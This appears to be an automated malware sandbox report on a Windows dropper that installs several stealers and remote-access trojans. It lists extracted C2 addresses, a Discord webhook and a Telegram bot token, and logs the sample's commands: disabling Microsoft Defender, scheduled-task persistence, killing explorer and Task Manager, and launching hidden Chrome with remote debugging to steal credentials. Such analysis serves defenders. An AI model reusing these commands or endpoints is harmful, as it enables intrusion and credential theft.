Resubmissions
27/09/2026, 14:21
260927-rn8hns1yhz1015/09/2026, 11:13
260915-nbjf8sgj9y13/09/2026, 12:17
260913-pfz58aba391011/09/2026, 14:17
260911-rltazathnb11/09/2026, 14:10
260911-rgr74sw1hv1007/09/2026, 14:52
260907-r8tv1sxvat06/09/2026, 18:39
260906-xarwnaysdx1006/09/2026, 18:38
260906-xadn2azgqc06/09/2026, 16:17
260906-trmfqaxgkf1006/09/2026, 16:09
260906-tl37aaxfma10Analysis
- max time kernel
118s - max time network
417s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-es - resource tags
- submitted
25/06/2026, 08:59
Errors
Reason
Machine shutdown
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample260625-kx1e4aav21
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
umbral
Version
-
v1.3
C2
-
https://discord.com/api/webhooks/1309109349976772669/btEqlDM2ocrsuktKkKj31Gmh1CdwZzJyC0Kemkugf6P7NQd4BBhHTJ1dF0IUeMDACNjF
Extracted
Family
-
xworm
C2
-
193.222.96.30:4040
Attributes
-
Install_directory
%LocalAppData%
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot6703930852:AAHkGtAzjTv18cTE6yjZ0UbhefLu4Fjl9Gc
Extracted
Family
-
quasar
Attributes
-
encryption_key
AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Extracted
Family
-
asyncrat
Version
-
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Botnet
-
Default
C2
-
89.84.63.139:6606
Mutex
-
caqxyzoxvrzhnrxwoc
Attributes
-
delay
1
-
install
false
-
install_folder
%AppData%
-
local_host
127.0.0.1
aes.plain
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Family: Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Family: NeedleStealer
NeedleStealer is a modular stealer written in Golang.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- Family: SharpHound
SharpHound is an open-source tool that collects Active Directory data for BloodHound analysis.
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Async RAT payload 1 IoCs
- Detect Xworm Payload 4 IoCs
- Detects DonutLoader 1 IoCs
- Detects NeedleStealer payload 1 IoCs
- Detects SharpHound hacktool 1 IoCs
- Detects Umbral payload 4 IoCs
- Quasar payload 2 IoCs
- RedLine payload 1 IoCs
- mimikatz is an open source tool to dump credentials on Windows 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs
Run Powershell and hide display window.
- Disables Task Manager via registry modification
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 6 IoCs
- Signed with revoked ConnectWise certificate 3 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Uses browser remote debugging 2 TTPs 64 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Drops startup file 2 IoCs
- Executes dropped EXE 8 IoCs
- Loads dropped DLL 10 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 14 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies WinLogon 2 TTPs 1 IoCs
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- SmartAssembly .NET packer 1 IoCs
Detects SmartAssembly .NET packer.
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Costura .NET executable packer 2 IoCs
Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.
- Detects Pyinstaller 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 10 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 6 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- System Time Discovery 1 TTPs 19 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 4 IoCs
Inno Setup installer
- NSIS installer 2 IoCs
- Delays execution with timeout.exe 3 IoCs
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Kills process with taskkill 44 IoCs
- Modifies registry class 2 IoCs
- Modifies registry key 1 TTPs 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 33 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 21 IoCs
- System policy modification 1 TTPs 1 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 2 IoCs
- cURL User-Agent 2 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\000.exe"C:\Users\Admin\AppData\Local\Temp\Files\000.exe"2⤵
- Executes dropped EXE
- Enumerates connected drives
- Modifies WinLogon
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im explorer.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im taskmgr.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic useraccount where name='Admin' set FullName='UR NEXT'4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic useraccount where name='Admin' rename 'UR NEXT'4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\payload.exe"C:\Users\Admin\AppData\Local\Temp\Files\payload.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\payload.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsSecurity" /tr "C:\Users\Admin\AppData\Local\WindowsSecurity"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\riende.exe"C:\Users\Admin\AppData\Local\Temp\Files\riende.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb443cc728,0x7ffb443cc734,0x7ffb443cc7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,1761888496952749295,16130684161263183698,262144 --field-trial-handle=2012,i,5749702687121448720,8460742815006877772,262144 --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1152,i,14048075406048703080,7498658486842808015,524288 --field-trial-handle=2012,i,5749702687121448720,8460742815006877772,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2112,i,1451746147089556950,3431888433412695828,524288 --field-trial-handle=2012,i,5749702687121448720,8460742815006877772,262144 --variations-seed-version --mojo-platform-channel-handle=2172 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2896,i,16283083584009099389,17449049336605816892,2097152 --field-trial-handle=2012,i,5749702687121448720,8460742815006877772,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2900,i,7245266130034068350,6975125744675471634,2097152 --field-trial-handle=2012,i,5749702687121448720,8460742815006877772,262144 --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4180,i,5228741245704558844,6829287484661167893,524288 --field-trial-handle=2012,i,5749702687121448720,8460742815006877772,262144 --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xa8,0x130,0x7ffb443cc728,0x7ffb443cc734,0x7ffb443cc7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb443cc728,0x7ffb443cc734,0x7ffb443cc7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1616,i,908786797862514420,10538261713311784292,262144 --field-trial-handle=2440,i,6040725944610267230,944952114015682122,262144 --variations-seed-version --mojo-platform-channel-handle=2436 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,15663602761285940727,15405365372150793562,524288 --field-trial-handle=2440,i,6040725944610267230,944952114015682122,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1968,i,7888689468593272443,2158932281840269163,524288 --field-trial-handle=2440,i,6040725944610267230,944952114015682122,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2864,i,924024287274849440,9222481198546468906,2097152 --field-trial-handle=2440,i,6040725944610267230,944952114015682122,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2868,i,9981399471028363901,5394894261984988182,2097152 --field-trial-handle=2440,i,6040725944610267230,944952114015682122,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:15⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4176,i,14825512695928908501,13836157239598166493,524288 --field-trial-handle=2440,i,6040725944610267230,944952114015682122,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:145⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb443cc728,0x7ffb443cc734,0x7ffb443cc7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb443cc728,0x7ffb443cc734,0x7ffb443cc7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,1855550654288771539,1530598644280397049,262144 --field-trial-handle=2400,i,9994764501764452728,17840948926956586360,262144 --variations-seed-version --mojo-platform-channel-handle=2392 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1684,i,7455161268753818280,7821867235428698112,524288 --field-trial-handle=2400,i,9994764501764452728,17840948926956586360,262144 --variations-seed-version --mojo-platform-channel-handle=2604 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2036,i,3574072958541855250,3761026726717488740,524288 --field-trial-handle=2400,i,9994764501764452728,17840948926956586360,262144 --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2860,i,11825831825754016083,7693757776812564061,2097152 --field-trial-handle=2400,i,9994764501764452728,17840948926956586360,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2864,i,16284758983414512476,407297860004799407,2097152 --field-trial-handle=2400,i,9994764501764452728,17840948926956586360,262144 --variations-seed-version --mojo-platform-channel-handle=2924 /prefetch:15⤵
- Uses browser remote debugging
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb443cc728,0x7ffb443cc734,0x7ffb443cc7405⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox4⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffb341ac728,0x7ffb341ac734,0x7ffb341ac7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1592,i,2102795678567225363,17194393863961678950,262144 --field-trial-handle=2380,i,11062829713201602544,10366829441803635266,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1436,i,12260521348503517623,2249979101663977749,524288 --field-trial-handle=2380,i,11062829713201602544,10366829441803635266,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:115⤵
- System Time Discovery
-
-
